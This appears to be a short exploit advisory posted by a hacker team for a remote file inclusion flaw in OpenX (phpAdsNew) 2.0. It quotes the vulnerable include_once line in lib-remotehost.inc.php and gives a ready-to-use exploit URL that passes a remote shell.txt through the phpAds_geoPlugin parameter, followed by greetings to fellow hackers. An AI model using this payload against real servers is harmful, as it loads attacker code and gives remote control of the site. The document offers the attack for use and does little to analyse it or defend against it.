32 lines
No EOL
935 B
Text
32 lines
No EOL
935 B
Text
# Exploit Title: OpenX (phpAdsNew) Remote File inclusion Vulnerability
|
|
# Date: 2010/07/20
|
|
# Author: ViRuS Qalaa
|
|
# Email: em9@live.com
|
|
# My Sites : www.pal-mafia.com & www.vbspiders.com
|
|
# Script url:
|
|
http://www.opensourcescripts.com/dir/PHP/Ad_Management/phpadsnew_11.html
|
|
# download Script:
|
|
http://sourceforge.net/projects/phpadsnew/files/Current%20Release/Openads%202.0.11-pr1/Openads-2.0.11-pr1.zip/download
|
|
# Version:2.0
|
|
# Tested on: Windows
|
|
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
|
|
# HaCkEr aRaR: y.0@hotmail.de
|
|
:::::::::::::::::::::::::
|
|
=================Exploit=================
|
|
|
|
-=[ vuln c0de ]=-
|
|
include_once ($phpAds_geoPlugin);
|
|
/libraries/lib-remotehost.inc.php
|
|
Line:109
|
|
|
|
----exploit----
|
|
|
|
http://
|
|
{localhost}/{path}/libraries/lib-remotehost.inc.php?phpAds_geoPlugin==shell.txt?
|
|
|
|
---------greatz----------
|
|
Greatz to :
|
|
hacker arar,ViRuS KSA,Q2,Spy-iq
|
|
|
|
and My friends Others and My friends in MSN
|
|
EnJoY o_O |